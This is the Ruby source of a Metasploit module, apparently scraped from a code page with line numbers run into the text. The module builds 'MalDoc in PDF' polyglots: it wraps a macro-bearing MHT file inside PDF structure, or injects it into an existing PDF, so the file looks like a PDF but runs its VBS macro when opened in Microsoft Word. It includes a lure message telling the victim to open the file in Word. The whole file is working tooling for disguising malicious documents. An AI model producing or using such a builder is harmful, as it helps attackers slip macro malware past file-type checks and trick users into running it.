Path: blob/master/modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb
19577 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::FILEFORMAT78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Maldoc in PDF Polyglot converter',13'Description' => %q{14A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file15structure of PDF.1617If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors.1819The attack does not bypass configured macro locks. And the malicious macros are also not executed when the20file is opened in PDF readers or similar software.21},22'License' => MSF_LICENSE,23'Author' => [24'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/)25],26'Platform' => ['win'],27'References' => [28['URL', 'https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html'],29['URL', 'https://socradar.io/maldoc-in-pdf-a-novel-method-to-distribute-malicious-macros/'],30['URL', 'https://www.nospamproxy.de/en/maldoc-in-pdf-danger-from-word-files-hidden-in-pdfs/'],31['URL', 'https://github.com/exa-offsec/maldoc_in_pdf_polyglot/tree/main/demo']32],33'Notes' => {34'Stability' => [CRASH_SAFE],35'Reliability' => [],36'SideEffects' => [ARTIFACTS_ON_DISK]37}38)39)4041register_options(42[43OptPath.new('FILENAME', [true, 'The input MHT filename with macro embedded']),44OptPath.new('INJECTED_PDF', [false, 'The input PDF filename to inject in (optional)']),45OptString.new('MESSAGE_PDF', [false, 'The message to display in the local PDF template (if INJECTED_PDF is NOT used)', 'You must open this document in Microsoft Word']),46OptEnum.new('OUTPUT_EXT', [true, 'The output file extension', '.doc', ['.doc', '.rtf']])47]48)49end5051def create_pdf(mht)52pdf = ''53pdf << "#{rand_pdfheader}\r\n"5455# item 1 (catalog)56pdf << "1 0 obj\r\n"57pdf << "<< /Type /Catalog /Pages 2 0 R >>\r\n"58pdf << "endobj\r\n"5960# item 2 (pages)61pdf << "2 0 obj\r\n"62pdf << "<< /Type /Pages /Kids [3 0 R] /Count 1 >>\r\n"63pdf << "endobj\r\n"6465# item 3 (page with resources)66pdf << "3 0 obj\r\n"67pdf << "<< /Type /Page /Parent 2 0 R /Resources << /Font << /F1 5 0 R >> >> /MediaBox [0 0 612 792] /Contents 4 0 R >>\r\n"68pdf << "endobj\r\n"6970# item 4 (content)71content = "BT /F1 12 Tf 100 700 Td (#{datastore['MESSAGE_PDF']}) Tj ET\r\n"72pdf << "4 0 obj\r\n"73# exact stream length74pdf << "<< /Length #{content.length} >>\r\n"75pdf << "stream\r\n"76pdf << content77pdf << "endstream\r\n"78pdf << "endobj\r\n"7980# item 5 (helvetica font)81pdf << "5 0 obj\r\n"82pdf << "<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>\r\n"83pdf << "endobj\r\n"8485# item 6 (MHT content)86pdf << "6 0 obj\r\n"87pdf << "<< /Length #{mht.length} >>\r\n"88pdf << "stream\r\n"89pdf << mht90pdf << "\r\nendstream\r\n"91pdf << "endobj\r\n"9293# calculation of dynamic offsets94offsets = []95offsets << 096for i in 1..6 do97offsets << pdf.index("#{i} 0 obj")98end99100# XREF section101xref_start = pdf.length102pdf << "xref\r\n"103# update for 7 objects (0-6)104pdf << "0 7\r\n"105pdf << "0000000000 65535 f\r\n"106offsets[1..].each do |offset|107pdf << format("%010d 00000 n\r\n", offset)108end109110# trailer111pdf << "trailer\r\n"112# update for 7 objects (0-6)113pdf << "<< /Size 7 /Root 1 0 R >>\r\n"114pdf << "startxref\r\n"115pdf << "#{xref_start}\r\n"116pdf << "%%EOF\r\n"117118# saving the file119ltype = "auxiliary.fileformat.#{shortname}"120fname = File.basename(datastore['FILENAME'], '*') + datastore['OUTPUT_EXT']121path = store_local(ltype, nil, pdf, fname)122123print_good("The file '#{fname}' is stored at '#{path}'")124end125126def inject_pdf(pdf_path, mht)127# read PDF in binary mode128pdf_data = File.binread(pdf_path)129vprint_status("PDF data length: #{pdf_data.length}")130131# find the position of 'startxref'132startxref_index = pdf_data.rindex('startxref')133unless startxref_index134fail_with(Failure::Unknown, 'Invalid PDF: \'startxref\' not found')135end136137xref_start_value = pdf_data[startxref_index..].match(/startxref\r?\n(\d+)/)[1].to_i138vprint_status("PDF startxref value: #{xref_start_value}")139vprint_status("PDF startxref position: #{startxref_index}")140141# extract the original objects142original_objects = pdf_data[0...startxref_index]143144# build the MHT object as the first object (0 0 obj)145mht_object = ''146mht_object << "0 0 obj\r\n"147mht_object << "<< /Length #{mht.length} >>\r\n"148mht_object << "stream\r\n"149mht_object << mht150mht_object << "\r\nendstream\r\n"151mht_object << "endobj\r\n"152153# combine: MHT first, then original items154updated_objects = mht_object + original_objects155156# calculate offsets for XREF section157offsets = []158updated_objects.scan(/(\d+) 0 obj/) do |match|159offsets << updated_objects.index("#{match[0]} 0 obj")160end161162# build the XREF section163xref = "xref\r\n"164# includes free entry (0) and items165xref << "0 #{offsets.size + 1}\r\n"166# free entry167xref << "0000000000 65535 f\r\n"168offsets.each do |offset|169xref << format("%010d 00000 n\r\n", offset)170end171172# build the trailer173xref_start_new = updated_objects.length174trailer = "trailer\r\n"175trailer << "<< /Size #{offsets.size + 1} /Root 1 0 R >>\r\n"176trailer << "startxref\r\n"177trailer << "#{xref_start_new}\r\n"178trailer << "%%EOF\r\n"179180# assemble the final PDF181headers = "#{rand_pdfheader}\r\n"182pdf = headers + updated_objects + xref + trailer183184# saving the file185ltype = "auxiliary.fileformat.#{shortname}"186fname = File.basename(datastore['FILENAME'], '*') + datastore['OUTPUT_EXT']187path = store_local(ltype, nil, pdf, fname)188189print_good("The file '#{fname}' is stored at '#{path}'")190end191192def rand_pdfheader193selected_version = ['1.0', '1.1', '1.2', '1.3', '1.4', '1.5', '1.6', '1.7', '2.0'].sample194195"%PDF-#{selected_version}"196end197198def run199content = File.read(datastore['FILENAME'])200fail_with(Failure::BadConfig, 'The MHT file content is empty') if content&.empty?201202# if no pdf injected is provided, create new PDF from template203if datastore['INJECTED_PDF'].blank?204print_status('INJECTED_PDF not provided, creating the PDF from scratch')205fail_with(Failure::BadConfig, 'No MESSAGE_PDF provided') if datastore['MESSAGE_PDF'].blank?206207create_pdf(content)208else209print_status("PDF creation using '#{File.basename(datastore['INJECTED_PDF'])}' as template")210211inject_pdf(datastore['INJECTED_PDF'], content)212end213end214215end216217218